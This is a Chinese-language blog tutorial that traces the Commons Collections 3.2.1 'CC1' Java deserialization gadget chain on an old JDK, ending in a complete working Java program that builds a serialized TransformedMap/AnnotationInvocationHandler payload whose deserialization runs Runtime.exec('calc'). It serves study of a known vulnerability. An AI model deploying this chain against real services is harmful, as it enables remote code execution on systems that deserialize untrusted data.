java反序列化commons-collections链1

最新推荐文章于 2025-05-12 22:13:00 发布
最新推荐文章于 2025-05-12 22:13:00 发布
阅读量676 收藏 19
点赞数 17
文章标签： java 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_79035389/article/details/147899927
版权

文章目录

  • 利用条件：commons-collections 3.1-3.2.1 jdk<8u71
  • 反序列化入口类的条件：可序列化，重写readObject方法，接收任意类作为参数

CC1

配环境的路上差点猝死，第一次弄真累啊，傻逼Oracle官网，给的版本对应关系都是乱的，最后猜路径https://download.oracle.com/otn/java/jdk/8u65-b17/jdk-8u65-windows-x64.exe下到安装正版

注意这一步安装的路径不能跟之前的路径相同，否则会将之前文件夹的内容覆盖

image-20250508212050277

随后在项目结构中添加新SDK为需要的低版本jdk，并在源路径中加入src文件夹（src文件夹需要加入openjdk的sun文件夹，具体内容可自行Google

image-20250508213324583

接下来新建一个maven项目，并在pom.xml中加入依赖，加入后一般会自动下载依赖，或者用命令手动下载

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

漏洞点出在cc依赖的Transformer接口，它的一个实现类InvokerTansformer.java可以实现反射对任意类的调用

image-20250508224307066

public class Main {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
    }
}
//通过transform方法实现对任意方法的调用

接下来往前找，看一看什么方法调用了transform

在TransformedMap类中,checkSetvalue方法调用了transform

 protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

需要valueTransformer的值可控为invoke那个类

所以看构造方法

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

是protected，就看它自己哪些类调用了，在同一个文件中找到decorate方法，假设在这里我们可以完成类的传入

     public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
    
已经知道了构造函数怎么传参就可以尝试传入我们要的危险类
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("key","value");
TransformedMap.decorateTransform(map,null,invokerTransformer);

继续看哪些类调用了checkSetValue方法，发现class类的setValue方法有所调用

    static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

那么就可以利用MapEntry的setValue方法调用checkSetValue方法，进而调用transform方法。

接下来思考怎么调用setValue方法，了解到java的hashmap是可以通过entry来访问的，所以可以通过循环调用MapEntry.setValue

  Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map=new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,invokerTransformer);
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
        }

到这里我们的链子又更长了，可以通过entry.setValue执行任意代码，我们接着向前找，如果有一个类的readObject方法调用setValue，并且参数可控的话，那岂不是就一步到位了吗

你别说，还真有那么一个类AnnotationInvocationHandler

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

membervalue可以通过构造函数传入，但是类名没有方法作用域，那就是default方法，default方法默认只能在当前包中查看，所以需要通过反射拿来类使用

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

同样构造方法也是default范围，通过反射调用

   Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationConstructor=c.getDeclaredConstructor(Override.class,Map.class);
        annotationConstructor.setAccessible(true);
        Object o=annotationConstructor.newInstance(Override.class,transformedMap);

接下来又陷入了困难，一个是Runtime不可以序列化，需要反射调用，一个是setValue我们需要控制参数，而在readObject里显然不太好控制，另外一个是在执行setValue之前需要绕过两个if判断，我们一个一个解决

反射调用类Runtime,因为虽然Runtime不可序列化，但是它的Class(类的原型)可以序列化，我们就可以利用Class这个东西搞出来一个Runtime
Class c=Runtime.class;
Method getruntimeMethod=c.getMethod("getRuntime",null);
Runtime runtime= (Runtime) getruntimeMethod.invoke(null,null);
Method execMethod =c.getMethod("exec", String.class);
execMethod.invoke(runtime,"calc");

并改成用InvokerTransformer方法写的反射
Object getruntimeMethod=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

注意观察后一个类都是对前一个类的调用，有一个类ChainedTransformer恰好可以实现这样的功能
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

利用它再改造一下
Transformer[] transformers=new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

到这里我们不考虑绕过if判断，其实就已经打通了整条链子，从后向前回顾一下。

用ChainedTransformer封装反射的流程，只要执行ChainedTransformer.transformer()就可以调用危险函数，HashMap的setvalue方法中用了checksetvalue方法，而checksetvalue方法又调用了transformer方法，所以将ChainedTransformer放进HashMap里，调用它的setvalue方法就可以走到链子的终点，再向前走，AnnotationInvocationHandler的readObject方法调用了setvalue方法，所以将HashMap放进AnnotationInvocationHandler里，在反序列化时自动调用setvalue方法，从而走到链子的终点

public class CC1Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {

        Transformer[] transformers = new Transformer[]{
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c1.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transfromedMap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

但是到这里我们还是不能打通，因为我们还剩下两个问题，一个是绕过if判断，一个是更改value的值，先下个断点跟到readObject里，看看它的判断逻辑

image-20250512163038782

type是你传入的注解类，第一个if判断做一件事，从你的hashmap里拿出key的值，并查找你的注解中有没有这个值，想绕过很简单，我们找一找注解里有什么值，并将它写到hashmap里即可，看一看之前的override注解

image-20250512163436326

啥也没有，换一个注解Target

image-20250512163524322

有value可用，所以我们调整一下之前的代码

map.put("value","value");

继续跟进，发现第二个if似乎不用绕，自己就过去了，那我们还剩下最后一个问题，就是setValue函数的参数必须可控，才能传入Runtime.class继续执行

这个时候用到一个神奇的类，

public Object transform(Object input) {
    return iConstant;
}

不管传入什么，它的transform方法都能返回一个固定的类，并且这个类还是可控的，冥冥之中自有天意啊，在chained中做一个简单的调整

Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

成功打通 !

image-20250512164129528

完整代码如下

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
//        Runtime r = Runtime.getRuntime();
//        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});


        //反射调用Runtime的执行方法
//        Class c=Runtime.class;
//        Method getruntimeMethod=c.getMethod("getRuntime",null);
//        Runtime runtime= (Runtime) getruntimeMethod.invoke(null,null);
//        Method execMethod =c.getMethod("exec", String.class);
//        execMethod.invoke(runtime,"calc");
//
         //利用Invoke类反射执行Runtime
//        Object getruntimeMethod=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//        Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);


        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);


        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","value");
        Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,chainedTransformer);

        //反射调用入口点构造函数
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationConstructor=c.getDeclaredConstructor(Class.class,Map.class);
        annotationConstructor.setAccessible(true);
        Object o=annotationConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }




    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }

}
lally.
关注
Java反序列化Commons-Collections-CC1链
永远都没有了
04-15 1231
CC1链(TransformedMap)java反序列化笔记
Java反序列化-Commons Collections4利用链详解
m0_60442621的博客
11-21 1269
CC4 的构造方式与 CC3 相似，主要的区别在于触发反序列化的方式不同。CC4 通过使用 PriorityQueue（优先队列）来触发反序列化，而恶意代码加载方式依旧沿用了 CC3。
java反序列化commons-collections链6
最新发布
2301_79035389的博客
05-12 317
我们回忆找cc链的过程，在控制好ChainedTransformer实现任意调用后，我们需要找到一个类，使其调用transform()方法，在cc1链中，我们选择了TransformedMap方法，而这一次则要使用LazyMap方法。要注意put方法也会调用hash方法所以其实在反序列化之前我们的链子就已经被调用了，怎么解决这个问题呢，其实很简单，在put之前，我们将链子上任意一个类修改成用不着的，put完序列化之前再修改回来即可。接着向上找，看看什么东西用了get方法，但结果太多了，我们的利用点在。
Java反序列化-Commons Collections3利用链分析详解
m0_60442621的博客
11-15 1126
CC3 与 CC1 和 CC6 的主要区别在于，CC1 和 CC6 依赖反射机制来执行 Runtime.getRuntime().exec() 等危险命令，而如果服务器将这些方法列入黑名单，这两种方式就会失效。相比之下，CC3 通过类加载器动态加载恶意类来执行危险函数，绕过黑名单限制，从而达到命令执行的目的。全网最细不细你打我
Java反序列化2-CommonCollections利用链分析
weixin_43263451的博客
07-01 1295
首先这篇文章不是出自yso中cc1的payload，该篇利用的是TransformedMap。以下是主要的参考文章汇总：https://www.yuque.com/tianxiadamutou/zcfd4v/hsh32p#3b11f6b6https://xz.aliyun.com/t/7031#toc-8p牛-代码审计-Java漫谈首先我会分析POC的核心代码，然后讲解为什么其他方式不行，最后为了提高漏洞利用的普适程度，引出POC的全部代码。总体思路： 0x01 实验环境 本次的实验环境是jdk1.7的7u
java反序列化之Commons-Collections2链分析
weixin_45682070的博客
01-12 723
环境 JDK 1.7 Commons Collections 4.0 javassit maven所需pom <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <dep
Java反序列化之Commons-Beanutils1链与无 commons-collections的Shiro反序列化利用
weixin_45682070的博客
02-11 1632
Apache Commons Beanutils 首先看一下 Commons Beanutils包，Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目，它提供了对普通Java类对象（也称为JavaBean）的一些操作方法。 JavaBean可以简单的理解为一个Java类对象。 commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ，让使用者可以直接调用任意JavaBean的getter方法，看面的de
Java反序列化-Commons Collections6利用链分析
m0_60442621的博客
11-13 1067
CC6利用链分析详解
Commons-Collections篇-CC4链分析
鸣蜩十四的博客
06-15 1078
CC4链中命令执行点还是一致的，可以用TransformingComparator来代替。
commons-collections-3.2.2-
11-01
反序列化是将已序列化的对象状态还原为可执行对象的过程，如果这个过程没有得到适当的验证，攻击者可以构造恶意的序列化数据，导致安全问题。 为了修补这个漏洞，我们需要将WebLogic服务器中旧版本的Apache Commons...
commons-collections4-4.4-bin.zip
06-07
支持集合的序列化和反序列化，这在数据持久化和网络传输中非常有用。 9. **算法**： 包含一些通用的算法，如`Frequencies`统计集合中元素出现的频率，`ForEach`遍历并执行操作，`Partition`将集合分割成满足特定...
commons-collections4-4.1
11-01
Apache Commons Collections 3.2.0及更早版本中存在这样一个漏洞，因为该库包含了一些不安全的反序列化方法，使得攻击者可以通过精心构造的输入来触发代码执行。 在Apache Commons Collections 4.1中，这个问题得到...
互联网大厂Java求职面试：电商商品推荐系统中的AI技术应用
在未来等你的专栏
05-11 635
面试官：“回家等通知吧。郑薪苦希望下次见面是在工位上！JVM调优：合理配置堆内存和GC策略能够显著提升系统吞吐量。Spring AI：简化了AI模型的集成流程，适合快速开发。向量数据库：解决了传统SQL无法高效处理语义搜索的问题。
centos 7 安装 java 运行环境
abc
05-09 668
centos 7 安装 java 运行环境。
gradle3.5的安装以及配置环境变量
lx2632730145的博客
05-09 478
本文简要介绍了如何下载和配置Gradle 3.5版本。首先，用户需下载Gradle 3.5并解压。接着，配置环境变量，设置变量名为GRADLE_HOME，变量值为bin路径。在Windows 11系统中，需在Path环境变量中添加%GRADLE_HOME%\bin。最后，通过命令提示符输入gradle -v，若能显示版本号，则表明Gradle配置成功。
DoubleAccumulator源码解析与应用
六月的尾巴
05-09 351
DoubleAccumulator是Java并发包中的一个类，用于在多线程环境下高效地累加双精度浮点数。它通过动态扩展内部变量集来减少线程争用，适用于频繁更新但读取较少的场景。DoubleAccumulator的核心方法包括accumulate用于更新值，get用于获取当前值，以及reset用于重置值。该类不保证线程间的累积顺序，因此不适用于需要数值稳定性的场景。应用示例展示了如何在多线程环境中使用DoubleAccumulator进行并发累加操作，最终获取累加结果。
深入浅出 JDBC 与数据库连接池
2403_87729201的博客
05-10 1084
本文介绍了Java开发中与数据库交互的核心技术——JDBC和数据库连接池。JDBC是Java操作数据库的标准API，通过注册驱动、获取连接、执行SQL语句等步骤实现数据库操作。文章详细讲解了JDBC的基础开发步骤，并提供了查询操作的代码示例。此外，文章还介绍了如何通过工具类和配置文件简化JDBC操作，以及JDBC事务管理的概念和操作。最后，文章探讨了数据库连接池的作用和优势，介绍了常见的开源连接池如DBCP、C3P0和Druid，并提供了使用Druid连接池的配置和工具类代码。
华为OD机试真题——单词接龙（首字母接龙）（2025A卷：100分）Java/python/JavaScript/C/C++/GO最佳实现
专注分享技术、实用优质教程、资源
05-11 536
华为OD机试真题——单词接龙（首字母接龙）（2025A卷：100分）Java/python/JavaScript/C/C++/GO最佳实现
Java集合
大道至简
05-10 425
实现的接口：collection List RandomAccess。底层使用的数组，添加元素会自动扩容。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值